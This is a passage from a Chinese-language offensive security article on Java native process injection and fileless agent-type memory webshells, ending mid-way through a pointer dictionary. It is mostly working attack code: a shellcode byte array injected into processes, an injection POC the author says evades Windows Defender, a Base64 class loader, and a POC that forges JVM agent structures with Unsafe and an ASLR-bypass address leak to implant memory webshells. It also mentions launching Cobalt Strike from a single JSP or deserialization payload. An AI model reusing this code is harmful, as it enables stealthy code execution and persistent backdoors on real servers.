(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result);
}
}
Thread.sleep(4000);
}
public static long getHandleByPid(int pid)
{
Class cls= null;
long hProcess=-1;
try {
cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods()) {
if (m.getName().equals("openProcess"))
{
m.setAccessible(true);
Object result=m.invoke(cls,pid);
System.out.println("pid :"+result);
hProcess=Long.parseLong(result.toString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return hProcess;
}
}
编译，执行：
成功执行shellcode，而且Windows Defender没有告警，天然免杀。毕竟，谁能想到有着合法签名安全可靠的Java.exe会作恶呢：）
至此，我们实现了Windows平台上的Java远程进程注入。另外，这个技术还有个额外效果，那就是当注入进程的PID设置为-1的时候，可以往当前Java进程注入任意Native代码，以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了，也就是说，上文提到的内存马防检测机制，不需要依赖JNI，只要纯Java代码也可以实现。
冰蝎3.0中提供了一键cs上线功能，采用的是JNI机制，中间需要上传一个临时库文件才能实现上线。现在利用这个技术，可以实现一个JSP文件或者一个反序列化Payload即可上线CS：
### 自定义类调用系统Native库函数
在上一小节Java原生远程进程注入中，我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类，然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑，这个Native方法位于attach.dll，这个dll是JDK和Server-JRE默认自带的，但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar？因为有些JDK环境是没有tools.jar的。当然，这个担心是没必要的。
我们只要自己写一个类，类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问，我们自己写一个sun.tools.attach.VirtualMachineImpl类，但是如果某个目标里确实有tools.jar，那我们自己写的类在加载的时候就会报错，有没有一个更通用的方法呢？当然还是有的。
其实这个方法在冰蝎1.0版本的时候就已经解决了，那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制，也就是如果系统中已经存在一个类，即使我们用自定义的classLoader去loadClass，也会返回系统内置的那个类。但是如果我们绕过loadClass，直接去defineClass即可从我们指定的字节码数组里创建类，而且类名我们可以任意自定义，重写java.lang.String都没问题:)
然后再用defineClass返回的Class去实例化，然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader，这是我们这个方法能成功的原因。
比如我们自定义如下这个类：
package sun.tools.attach;
import java.io.IOException;
import java.util.Scanner;
public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
static native long openProcess(int pid) throws IOException;
public static void run(byte[] buf) {
System.loadLibrary("attach");
try {
enqueue(-1, buf, "test", "test", new Object[]{});
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后把这个类编译成class文件，把这个文件用Base64编码，然后写到如下POC里：
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Permission;
import java.util.Arrays;
import java.util.Base64;
public class Poc {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args)
{
try {
String classStr="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";
Class result = new Myloader().get(Base64.getDecoder().decode(classStr));
for (Method m:result.getDeclaredMethods())
{
System.out.println(m.getName());
if (m.getName().equals("run"))
{
m.invoke(result,new byte[]{});
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。
### 无文件落地Agent型内存马植入
#### 可行性分析
前面我们讲到了目前Java内存马的分类：Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后，会产生新的类和对象，同时还会产生各种错综复杂的相互引用关系，比如要创建一个恶意Filter内存马，需要先修改已有的FilterMap，然后新增FilterConfig、FilterDef，最后还要修改FilterChain，这一系列操作产生的脏数据过多，不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。
但是目前来看，Agent型内存马的缺点也非常明显：
* 磁盘有agent文件落地
* 需要上传文件，植入步骤复杂
* 如无写文件权限，则无法植入
众所周知，想要动态修改JVM中已经加载的类的字节码，必须要通过加载一个Agent来实现，这个Agent可以是Java层的agent.jar，也可以是Native层的agent.so，但是必须要有个agent。
有没有一种方法可以既优雅又简洁的植入Agent型内存马呢？换句话说，有没有一种方法可以在不依赖额外Agent的情况下，动态修改JVM中已经加载的类的字节码呢？以前没有，现在有了：）
首先，我们先看一下通过Agent动态修改类的流程：
1. 在客户端和目标JVM建立IPC连接以后，客户端会封装一个用来加载agent.jar的AttachOperation对象，这个对象里面有三个关键数据：actioName、libName和agentPath；
2. 服务端收到AttachOperation后，调用enqueue压入AttachOperation队列等待处理；
3. 服务端处理线程调用dequeue方法取出AttachOperation；
4. 服务端解析AttachOperation，提取步骤1中提到的3个参数，调用actionName为load的对应处理分支，然后加载libinstrument.so（在windows平台为instrument.dll），执行AttachOperation的On_Attach函数（由此可以看到，Java层的instrument机制，底层都是通过Native层的Instrument来封装的）；
5. libinstrument.so中的On_Attach会解析agentPath中指定的jar文件，该jar中调用了redefineClass的功能；
6. 执行流转到Java层，JVM会实例化一个InstrumentationImpl类，这个类在构造的时候，有个非常重要的参数mNativeAgent：
这个参数是long型，其值是一个Native层的指针，指向的是一个C++对象JPLISAgent。
1. InstrumentationImpl实例化之后，再继续调用InstrumentationImpl类的redefineClasses方法，做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0
2. 执行流继续走入Native层：
继续跟入：
做了一系列判断之后，最终调用jvmtienv的redefineClasses方法执行类redefine操作：
接下来理一下思路，在上面的8个步骤中，我们只要能跳过前面5个步骤，直接从步骤6开始执行，即可实现我们的目标。那么问题来了，步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值，这个值是一个指向JPLISAgent对象的指针，这个值我们不知道。只有一个办法，我们需要自己在Native层组装一个JPLISAgent对象，然后把这个对象的地址传给Java层InstrumentationImpl的构造器，就可以顺利完成后面的步骤。
#### 组装JPLISAgent
##### Native内存操作
想要在Native内存上创建对象，首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer，可以提供用户申请堆外内存的能力，这也就说明DirectByteBuffer是有操作Native内存的能力，而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的，这里我们也直接使用Unsafe进行Native内存操作。
通过如下代码获取Unsafe：
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
通过unsafe的allocateMemory、putlong、getAddress方法，可以实现Native内存的分配、读写。
##### 分析JPLISAgent结构
接下来，就是分析JPLISAgent对象的结构了，如下：
JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知，最终实现redefineClasses操作的是*jvmtienv的redefineClasses函数。但是这个jvmtienv的指针，是通过jvmti(JPLISAgent)推导出来的，如下：
而jvmti是一个宏：
而在执行到*jvmtienv的redefineClasses之前，还有多处如下调用都用到了jvmtienv：
因此，我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针，也就是JPLISAgent的mNormalEnvironment成员，其结构如下：
可以看到这个结构里存在一个回环指针mAgent，又指向了JPLISAgent对象，另外，还有个最重要的指针mJVMTIEnv，这个指针是指向内存中的JVMTIEnv对象的，这是JVMTI机制的核心对象。
另外，经过分析，JPLISAgent对象中还有个mRedefineAvailable成员，必须要设置成true。
接下来就是要确定JVMTIEnv的地址了。
##### 定位JVMTIEnv
通过动态分析可知，0x000002E62D8EE950为JPLISAgent的地址，0x000002E62D8EE950+0x8（0x000002E62D8EEB60）为mJVMTIEnv,即指向JVMTIEnv指针的指针：
转到该指针：
可以看到0x6F78A220即为JVMTIEnv对象的真实地址，通过分析发现，该对象存在于jvm模块的地址空间中，而且偏移量是固定的，那只要找到jvm模块的加载基址，加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是，现代操作系统默认都开启了ASLR，因此jvm模块的基址并不可知。
##### 信息泄露获取JVM基址
由上文可知，Unsafe提供了堆外内存的分配能力，这里的堆并不是OS层面的堆，而是Java层面的堆，无论是Unsafe分配的堆外地址，还是Java的堆内地址，其都在OS层的堆空间内。经过分析发现，在通过Unsafe分配一个很小的堆外空间时，这个堆外空间的前后内存中，存在大量的指针，而这些指针中，有一些指针指向jvm的地址空间。
编写如下代码：
long allocateMemory = unsafe.allocateMemory(3);
System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
输出如下：
定位到地址0x2e61a1b67d0：
可见前后有很多指针，绿色的那些指针，都指向jvm的地址空间：
但是，这部分指针并不可复现，也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的，也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时，最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序，多次运行程序，收集大量的前后指针列表，这些指针中有大量是重复出现的，然后根据指针末尾两个字节，做了一个字典，当然只做2个字节的匹配，很容易出错，于是我又根据这些大量指针指向的指针，取末尾两个字节，又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典，并根据指针重复出现的频次排序。POC运行的时候，会以allocateMemory开始，往前往后进行字典匹配，可以准确的确定jvm模块的基址。
部分字典结构如下：
"'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70'
每个条目含有3个元素，第一个为指针末尾2字节，第二个元素为指针指向的指针末尾两个字节，第三个元素为指针与baseAddress的偏移量。
基址确定了，jvmtienv的具体地址就确定了。当然拿到了jvm的地址，加上JavaVM的偏移量便可以直接获得JavaVM的地址。
##### 开始组装
拿到jvm模块的基址后，就万事俱备了，下面准备装配JPLISAgent对象，代码如下：
private static long getAgent(long jvmtiAddress)
{
Unsafe unsafe = getUnsafe();
long agentAddr=unsafe.allocateMemory(0x200);
long jvmtiStackAddr=unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr,jvmtiAddress);
unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l);
System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));
unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);
unsafe.putLong(agentAddr+0x8,jvmtiStackAddr);
unsafe.putLong(agentAddr+0x10,agentAddr);
unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);
//make retransform env
unsafe.putLong(agentAddr+0x20,jvmtiStackAddr);
unsafe.putLong(agentAddr+0x28,agentAddr);
unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);
unsafe.putLong(agentAddr+0x38,0);
unsafe.putLong(agentAddr+0x40,0);
unsafe.putLong(agentAddr+0x48,0);
unsafe.putLong(agentAddr+0x50,0);
unsafe.putLong(agentAddr+0x58,0x0072007400010001l);
unsafe.putLong(agentAddr+0x60,agentAddr+0x68);
unsafe.putLong(agentAddr+0x68,0x0041414141414141l);
return agentAddr;
}
入参为上一阶段获取的jvmti的地址，返回值为JPLISAgent的地址。
完整POC如下（跨平台）：
package net.rebeyond;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
public class PocWindows {
public static void main(String[] args) throws Throwable {
Unsafe unsafe = getUnsafe();
Thread.sleep(2000);
//System.gc();
//Thread.sleep(2000);
long allocateMemory = unsafe.allocateMemory(3);
System.out.println("allocateMemory:" + Long.toHexString(allocateMemory));
String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64
//patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340'